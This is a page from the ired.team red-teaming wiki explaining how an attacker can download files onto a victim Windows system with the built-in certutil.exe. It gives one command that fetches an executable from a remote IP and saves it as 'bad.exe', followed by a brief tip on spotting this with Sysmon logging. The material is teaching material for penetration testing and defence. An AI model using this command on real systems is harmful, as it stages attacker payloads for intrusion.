Red Teaming Experiments
Red Teaming Experiments
linkedin
github
@spotheplanet
patreon
What is ired.team?
Pinned
Pentesting Cheatsheets
Active Directory & Kerberos Abuse
offensive security
Red Team Infrastructure
Initial Access
Code Execution
Code & Process Injection
Defense Evasion
AV Bypass with Metasploit Templates and Custom Binaries
Evading Windows Defender with 1 Byte Change
Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
Windows API Hashing in Malware
Detecting Hooked Syscalls
Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
Retrieving ntdll Syscall Stubs from Disk at Run-time
Full DLL Unhooking with C++
Enumerating RWX Protected Memory Regions for Code Injection
Disabling Windows Event Logs by Suspending EventLog Service Threads
Obfuscated Powershell Invocations
Masquerading Processes in Userland via _PEB
Commandline Obfusaction
File Smuggling with HTML and JavaScript
Timestomping
Alternate Data Streams
Hidden Files
Encode/Decode Data with Certutil
Downloading Files with Certutil
Packed Binaries
Unloading Sysmon Driver
Bypassing IDS Signatures with Simple Reverse Shells
Preventing 3rd Party DLLs from Injecting into your Malware
ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
Parent Process ID (PPID) Spoofing
Executing C# Assemblies from Jscript and wscript with DotNetToJscript
Enumeration and Discovery
Privilege Escalation
Credential Access & Dumping
Lateral Movement
Persistence
Exfiltration
reversing, forensics & misc
Windows / OS Internals
Cloud
Neo4j
Dump Virtual Box Memory
AES Encryption Using Crypto++ .lib in Visual Studio C++
Reversing Password Checking Routine
Powered by GitBook

Downloading Files with Certutil

Downloading additional files to the victim system using native OS binary.

Execution

certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe

Observations

Sysmon commandling logging is a good place to start for monitoring suspicious certutil.exe behaviour:

Previous
Encode/Decode Data with Certutil
Next
Packed Binaries
Last updated 3 years ago
Contents
Execution
Observations